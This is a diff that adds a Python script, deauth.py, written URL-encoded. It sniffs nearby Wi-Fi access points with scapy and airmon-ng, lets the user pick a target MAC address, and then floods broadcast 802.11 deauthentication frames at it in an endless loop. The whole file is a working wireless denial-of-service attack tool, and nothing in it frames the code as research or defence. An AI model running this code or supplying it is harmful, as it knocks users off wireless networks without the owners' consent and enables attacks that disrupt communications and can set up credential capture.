@@ -0,0 +1,1946 @@
+import sys%0Aimport subprocess%0Aimport os%0A%0Aap_list = dict()%0Apktcount=0%0Assidcount=0%0A%0Adef execuitCommand(cmd):%0A    return subprocess.call(cmd,shell=True)%0A%0Atry:%0A    from scapy.all import *%0Aexcept:%0A    print %22scapy module not found. So, installing... %22%0A    execuitCommand(%22apt-get install python-scapy%22)%0A%0Adef startAirmon():%0A    if execuitCommand(%22airmon-ng %7C grep mon0%22)==0:%0A        print %22Found mon0 Interface...%22%0A    else:%0A        print %22Starting monitoring interface on the wlan0...%22%0A        if execuitCommand(%22airmon-ng start wlan0%22)!=0:%0A            print %22airmon-ng not found. Please install aircrack-ng. RUN 'apt-get install aircrack-ng'%22%0A            sys.exit()%0A%0Adef packetHandler(pkt):%0A    global pktcount,ssidcount%0A    pktcount+=1%0A    if pkt.haslayer(Dot11) and pkt.type == 0 and pkt.subtype == 8 and pkt.addr2 not in ap_list :%0A        ssidcount+=1%0A        ap_list.setdefault(pkt.addr2,%5Bssidcount,pkt.info%5D)%0A%0Adef stopFilter(x): #Stop the Sniffing if packet reachs the count%0A    global pktcount%0A    if pktcount==10000:%0A        return True%0A    else:%0A        return False%0A%0Aif os.environ%5B%22DEAUTH%22%5D:%0A    input=os.environ%5B%22DEAUTH%22%5D%0A    startAirmon()%0A    %0Aelif len(sys.argv)==1:%0A    startAirmon()%0A    print %22Sniffing wifi signals. Please wait....%5Cn%22%0A    sniff(iface=%22mon0%22, prn = packetHandler, stop_filter=stopFilter)%0A    print %22Please choose SSID to send deauthentication packets%22%0A    ap=dict()%0A    while True:%0A        for mac, ssid in ap_list.iteritems():%0A            print str(ssid%5B0%5D).ljust(2,%22 %22),mac.ljust(20,%22 %22),ssid%5B1%5D%0A            ap.setdefault(ssid%5B0%5D,mac)%0A        x=int(raw_input(%22%3E%3E%22))%0A        input=ap%5Bx%5D%0A        if x in ap:%0A            break%0Aelif len(sys.argv)==2:%0A    input=sys.argv%5B1%5D%0A    startAirmon()%0A%0Aelif len(sys.argv)%3E2:%0A    print %22Usage: sudo python deauth.py %5BMAC%5D%22%0A    sys.exit()%0A%0Apkt=RadioTap()/Dot11(addr1=%22ff:ff:ff:ff:ff:ff%22,addr2=input,addr3=input)/Dot11Deauth()%0A%0Awhile True:%0A    sendp(pkt, iface=%22mon0%22,count=1, inter=.2)%0A

Create deauth.py